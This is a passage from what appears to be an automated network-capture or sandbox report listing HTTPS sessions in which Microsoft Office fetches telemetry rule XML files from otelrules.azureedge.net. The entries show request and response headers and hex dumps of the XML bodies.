2024-10-10 08:13:49 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	64694	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:49 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:49 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:49 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 1433b7fe-d01e-0017-55d8-1ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081349Z-1597f696844pvxrzyftm324kmw00000001mg00000000nhk6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:49 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	64695	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:49 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:49 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:49 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 704395e8-201e-005d-718c-15afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081349Z-r154656d9bc456m4fscr4bbttw00000004dg0000000018c6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:49 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	64691	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:49 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:49 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:49 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: c89f133c-401e-00a3-496d-1a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081349Z-1597f696844h4hhwdarr1hac8400000001k000000000gg0e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:49 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	64693	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:49 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:49 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:49 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: de1d1d81-401e-0064-31fa-1954af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081349Z-1597f6968449cxlldwc92t48ds00000001n000000000assu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:49 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	64697	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:50 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:50 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:50 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 8be9c1e7-301e-0052-678c-1565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081350Z-r154656d9bcbnsv5vrs89mh8t400000000m000000000790k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:50 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	64700	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:50 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:50 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:50 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 6e08d1a6-401e-0067-5736-1609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081350Z-r154656d9bc8glqfu2duqg0z1w00000005u000000000brkh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:50 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	64698	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:50 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:50 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:50 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 5892b05f-f01e-0085-23d9-1a88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081350Z-1597f696844lq27kahy39f1g9800000000f00000000084ta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:50 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	64701	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:50 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:50 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:50 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 2d3659d2-d01e-0066-1cca-1aea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081350Z-1597f696844qj6xbvd61uutbps00000001g000000000ff22 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:50 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	64699	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:50 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:50 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:50 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 7d5bde9b-e01e-0071-239c-1508e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081350Z-r154656d9bcbnsv5vrs89mh8t400000000h0000000007hsz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:50 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	64706	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:51 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:51 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:51 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 083451f6-401e-0035-25c0-1a82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081351Z-r154656d9bcwd5vj3zknz7qfhc0000000bc000000000fgan x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:51 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	64702	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:51 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:51 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:51 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: a1759df9-d01e-007a-08c7-17f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081351Z-r154656d9bc2dpb46dmu3uezks0000000kug000000005kgq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
